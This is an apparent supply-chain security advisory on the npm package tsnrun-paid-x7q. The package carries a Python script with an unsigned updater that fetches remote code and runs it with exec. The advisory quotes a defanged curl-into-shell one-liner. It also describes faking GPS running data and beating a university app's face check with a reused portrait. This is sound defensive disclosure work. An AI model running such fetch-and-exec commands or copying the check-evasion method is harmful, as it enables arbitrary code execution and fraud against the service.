tsnrun-paid-x7q@1.0.0
Malicious code in tsnrun-paid-x7q (npm)
Analysis
This npm package ships no JavaScript and declares no lifecycle hook, so npm never runs it; its payload is a single 61KB Python script, tsnrun_paid.py, presented as a helper for a Chinese university fitness app. When the script is executed it runs an unsigned self-updater before any other action: check_update() fetches hxxps://daily-tools-8f3k[.]pages[.]dev/paid/version.txt and, if the returned build id differs from the embedded one, downloads hxxps://daily-tools-8f3k[.]pages[.]dev/paid/tsnrun_paid.py and executes it in-process with exec(compile(src, "<update:...>", "exec")). The only gate on that download is a substring check for the version string and the literal "def main(" — no signature, no hash, no pinning — so control of that pages[.]dev project is equivalent to arbitrary code execution in the user's Python interpreter on every subsequent launch, and the freshly downloaded file becomes the running program. The README distributes the same fetch-and-exec launch shape as a one-liner against hxxps://cdn[.]jsdelivr[.]net/npm/daily-runner-cli@1/tsnrun_paid.py, and the script itself prints a variant using sh -c "$(curl -fsSL hxxps://daily-tools-8f3k[.]pages[.]dev/run.sh)". Beyond the updater, the script drives the campus API at hxxp://a[.]sxstczx[.]com: it fetches a public key from /auth/rsa-public-key, wraps the operator-supplied student password with RSA PKCS#1 v1.5, signs requests with app identifiers hardcoded in the file (APP_ID, APP_SECRET, APP_SIGN_HASH), fabricates GPS track points with matching step and pace figures, and reuses a downloaded portrait image in a multipart POST to exercise/exerciseRunningFace/2a36d143/face so the biometric face check reports a pass. It also reads hxxps://m[.]boxkj[.]com/app/sch/listSchoolDatas and validates a paid licence ticket of the form RSA1.<payload>.<signature> against a hardcoded RSA modulus, storing it in tsnrun_state.json beside the script. Configuration is taken from TSN_-prefixed environment variables and its own tsnrun.conf; apart from those paths it opens no files and sends no local data to any third-party host.
- analyzed by
- Leitwacht
- first seen
- Nov 19, 2026, 06:38 PM
- analyzed
- Nov 19, 2026, 06:42 PM
Related advisories
- tsnrun-paid-x7q@1.0.5 same package
- tsnrun-paid-x7q@1.0.2 same package
- tsnrun-paid-x7q@1.0.1 same package
- babyyodaa@1.1.0
- agent-bypass@2.29.3
- agent-bypass@2.29.2
- nodetokyo@1.0.10
- git-crt-creator@10.13.0
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.